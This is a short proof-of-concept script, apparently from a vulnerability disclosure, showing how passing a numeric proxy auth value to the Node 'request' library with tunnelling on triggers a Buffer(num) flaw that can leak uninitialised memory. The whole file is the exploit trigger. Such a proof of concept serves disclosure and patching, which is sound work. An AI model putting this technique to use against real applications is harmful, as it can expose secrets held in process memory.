request Buffer(num) vulnerability, take 2

request-buffer-tunnel-poc-2.js

// Run with NODE_DEBUG=http node request-buffer-tunnel-poc-2.js

require('request')({
  method: 'GET',
  uri: 'http://www.example.com',
  tunnel: true,
  proxy:{
      protocol: 'http:',
      host:"127.0.0.1",
      port:8080,
      auth:80
  }
});